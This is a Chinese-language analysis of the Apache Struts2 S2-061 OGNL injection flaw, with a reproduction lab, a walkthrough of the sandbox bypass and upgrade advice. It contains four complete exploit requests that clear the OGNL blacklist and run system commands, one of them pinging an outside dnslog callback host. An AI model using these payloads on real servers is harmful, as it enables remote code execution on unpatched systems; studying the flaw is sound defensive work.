影响范围
Struts 2.0.0 - Struts 2.5.25
漏洞类型
OGNL表达式解析
利用条件
开启altSyntax功能 标签属性中使用了`%{x}`且`x`的值用户可控
漏洞概述
Struts2会对某些标签属性(比如:'id')的属性值进行二次表达式解析,因此当这些标签属性中使用了'%{x}'且'x'的值用户可控时,用户再传入一个'%{payload}'即可造成OGNL表达式执行,S2-061是对S2-059沙盒进行的绕过,S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行,直到最新版本2.5.26版本中OGNL表达式的执行才得以修复
漏洞复现
简易测试
pom文件如下所示:
代码语言:javascript复制 <dependencies>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.25</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
</dependencies>
之后启动Tomcat并在浏览器中访问:
之后访问一下URL进行简易测试:
命令执行
SSRF测试
代码语言:javascript复制POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1
Host: 192.168.174.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 846
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping 4ofoqe.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
DNSLog回显:
执行系统命令
代码语言:javascript复制POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1
Host: 192.168.174.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
弹计算器测试
代码语言:javascript复制POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1
Host: 192.168.174.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("calc.exe")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
其他方式
代码语言:javascript复制POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1
Host: 192.168.174.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1365
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0)
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0)
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0)
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0)
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0)
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
调试分析
首先我们看一下在Struts 2.5.25的Struts-default.xml文件中沙盒的限制:
代码语言:javascript复制 <constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
sun.misc.Unsafe,
com.opensymphony.xwork2.ActionContext" />
<!-- this must be valid regex, each '.' in package name must be escaped! -->
<!-- it's more flexible but slower than simple string comparison -->
<!-- constant name="struts.excludedPackageNamePatterns" value="^java.lang..*,^ognl.*,^(?!javax.servlet.. )(javax.. )" / -->
<!-- this is simpler version of the above used with string comparison -->
<constant name="struts.excludedPackageNames"
value="
ognl.,
java.io.,
java.net.,
java.nio.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc.,
sun.reflect.,
javassist.,
org.apache.velocity.,
org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util." />
总体限制归纳如下:
- 无法new一个对象
- 无法使用反射机制
- 无法直接执行命令
- 无法调用静态方法
- 无法调用方法属性非public的方法
- 无法调用黑名单类和包的方法、属性
同时在struts2在ognl.OgnlRuntime#invokeMethod中ban掉了常用的class,所以即使绕过了沙盒也不能直接调用这些类:
代码语言:javascript复制 public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
if (_useStricterInvocation) {
Class methodDeclaringClass = method.getDeclaringClass();
if (AO_SETACCESSIBLE_REF != null
&& AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null
&& AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null
&& SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null
&& SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
throw new IllegalAccessException("Method [" method "] cannot be called from within OGNL invokeMethod() under stricter invocation mode.");
}
}
boolean syncInvoke;
boolean checkPermission;
synchronized(method) {
Boolean methodAccessCacheValue = (Boolean)_methodAccessCache.get(method);
if (methodAccessCacheValue == null) {
if (Modifier.isPublic(method.getModifiers())&& Modifier.isPublic(method.getDeclaringClass().getModifiers())) {
methodAccessCacheValue = Boolean.FALSE;
_methodAccessCache.put(method, methodAccessCacheValue);
} else if (!method.isAccessible()) {
methodAccessCacheValue = Boolean.TRUE;
_methodAccessCache.put(method, methodAccessCacheValue);
} else {
methodAccessCacheValue = Boolean.FALSE;
_methodAccessCache.put(method, methodAccessCacheValue);
}
}
syncInvoke = Boolean.TRUE.equals(methodAccessCacheValue);
Boolean methodPermCacheValue = (Boolean)_methodPermCache.get(method);
if (methodPermCacheValue == null) {
if (_securityManager != null) {
try {
_securityManager.checkPermission(getPermission(method));
methodPermCacheValue = Boolean.TRUE;
_methodPermCache.put(method, methodPermCacheValue);
} catch (SecurityException var22) {
methodPermCacheValue = Boolean.FALSE;
_methodPermCache.put(method, methodPermCacheValue);
throw new IllegalAccessException("Method [" method "] cannot be accessed.");
}
} else {
methodPermCacheValue = Boolean.TRUE;
_methodPermCache.put(method, methodPermCacheValue);
}
}
checkPermission = Boolean.FALSE.equals(methodPermCacheValue);
}
Object result;
if (syncInvoke) {
synchronized(method) {
if (checkPermission) {
try {
_securityManager.checkPermission(getPermission(method));
} catch (SecurityException var19) {
throw new IllegalAccessException("Method [" method "] cannot be accessed.");
}
}
_accessibleObjectHandler.setAccessible(method, true);
try {
result = invokeMethodInsideSandbox(target, method, argsArray);
} finally {
_accessibleObjectHandler.setAccessible(method, false);
}
}
} else {
if (checkPermission) {
try {
_securityManager.checkPermission(getPermission(method));
} catch (SecurityException var21) {
throw new IllegalAccessException("Method [" method "] cannot be accessed.");
}
}
result = invokeMethodInsideSandbox(target, method, argsArray);
}
return result;
}
通过分析发现OGNL并没有限制如下操作:
- 对象属性setter/getter(public)赋/取值,可以访问静态属性
- 已实例类的方法调用(OgnlContext中的对象),不允许调用静态方法
下面我们通过对网络中公开的EXP进行一个简易的分析来对该漏洞的沙盒绕过进行一个简单的分析,首先可以看到的是在EXP中#application为org.apache.tomcat.InstanceManager,其键值为org.apache.catalina.core.DefaultInstanceManager的实例化对象:
该类有一个newInstance方法,它可以实例化任意无参构造方法的类并返回,也就是说我们现在绕过了无法new一个对象的限制,不过这个对象必须存在public的无参构造方法:
那么我们如何获取到OgnlContext呢?在S2-057中采取的措施是通过#attr 、#request等map对象中的struts.valueStack间接获取OgnlContext ,而在S2-057的补丁中把com.opensymphony.xwork2.ognl.加入到了黑名单,所以不能调用OgnlValueStack的getContext方法,不过我们可以利用实例化任意无参构造方法条件调用一些方法,间接的帮我们获取到OgnlContext,于是注意到了EXP中的org.apache.commons.collections.BeanMap
在这里我们着重关注一下setBean方法:
跟进这里的this.reinitialise(),之后继续跟进this.initialise()方法
可以看到它会把传入对象对应的class当做bean,提取get和set方法以及name赋值进readMethods和writeMethods
看一下其get方法,这里会根据我们传入的name调用readMethods中对应的getXxx方法:
而com.opensymphony.xwork2.ognl.OgnlValueStack中存在getContext方法,因此我们可以拿到OgnlValueStack后,利用 BeanMap间接获取到OgnlContext:
并利用put方法调用setExcludedClasses和setExcludedPackageNames覆盖掉黑名单
之前提到过最新的struts2即使绕过了沙盒依然不能直接调用常用的类来进行利用,但是我们清空了黑名单之后就可以实例化任意黑名单中的类,看下黑明单包中的类freemarker.template.utility.Execute,存在无参构造方法Execute(),exec方法可以直接执行命令:
安全建议
升级到最新版本
参考链接
https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
https://www.cnblogs.com/backlion/p/14122528.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17530